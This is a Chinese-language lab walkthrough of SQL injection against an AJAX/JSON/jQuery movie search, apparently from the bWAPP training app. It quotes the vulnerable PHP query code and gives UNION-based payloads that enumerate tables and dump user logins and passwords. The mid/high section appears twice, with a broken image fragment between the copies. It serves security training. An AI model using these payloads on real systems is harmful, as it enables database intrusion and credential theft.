AJAX/JSON/jQuery注入
常规流程
1.判断是否存在注入,注入是字符型还是整数型
2.猜解SQL查询语句中的字段数 (order by )
3.确定显示的字段顺序
4.获取当前数据库 (爆库)
5.获取数据库中的表 (爆表)
6.获取表中的字段名 (爆字段)
7.下载数据 (爆数据)
基础知识
什么是AJAX/JSON/jQuery
通过在后台与服务器进行少量数据交换,AJAX 可以使网页实现异步更新。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行实时更新。
代码分析
//sqli_10-1.php
<script>
$("#title").keyup(function(){ // #title为表格的ID值
// Searches for a movie title
var search = {title: $("#title").val()}; //获取输入的值,制成JSON格式
// AJAX call
//getJSON(url,data,success(data,status,xhr))
$.getJSON("sqli_10-2.php", search, function(data){ //data 接收返回的数据
init_table(); //初始化表头
// Constructs the table from the JSON data
var total = 0;
$.each(data, function(key, val){ //循环输出JSON数据,制成表格
total++;
$("#table_yellow tr:last").after("<tr><td>" + val.title + "</td><td align='center'>" + val.release_year + "</td><td>" + val.main_character + "</td><td align='center'>" + val.genre + "</td><td align='center'><a href='http://www.imdb.com/title/" + val.imdb + "' target='_blank'>Link</a></td></tr>");
});
// Empty result
if (total == 0)
{
$("#table_yellow tr:last").after("<tr height='30'><td colspan='5' width='580'>No movies were found!</td></tr>");
}
})
});
</script>
//"sqli_10-2.php
if(!empty($_GET["title"])) //接收数据,并使用自定义函数sqli()对数据进行消毒
{
// Retrieves the movie title
$title = $_GET["title"];
// Constructs the query
$sql = "SELECT * FROM movies WHERE title LIKE '%" . sqli($title) . "%'";
// Queries the database
$recordset = mysql_query($sql, $link);
// Fetches the result
if(mysql_num_rows($recordset) != 0)
{
while($row = mysql_fetch_array($recordset))
{
$movies[] = $row;
}
}
else
{
$movies = array();
}
}
else
{
$movies = array();
}
演练
low
-
判断是否存在注入
a%' and 1=1 #
-
判断注入字段个数
a%' order by 7 # a%' order by 8 #
-
判断注入字段位置
a%' union select 1,2,3,4,5,6,7 limit 9,1#
-
获取数据库信息
a%' union select 1,database(),version(),user(),5,6,7 limit 9,1#
-
获取表名
a%' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5,6,7 limit 9,1#
-
获取列名
a%' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),3,4,5,6,7 limit 9,1#
-
获取信息
a%' union select 1,(select group_concat(login,'-',password,'-') from users),3,4,5,6,7 limit 9,1#
mid/high
分别用了addslashes()和mysql_real_escape_string()函数防御
查看mysql编码, 如果是GBK编码且操作系统是UTF-8编码, 则可以用宽字节来绕过:
可惜mysql编码是utf-8:
ThokuG-1600695053041)]
mid/high
分别用了addslashes()和mysql_real_escape_string()函数防御
查看mysql编码, 如果是GBK编码且操作系统是UTF-8编码, 则可以用宽字节来绕过:
可惜mysql编码是utf-8: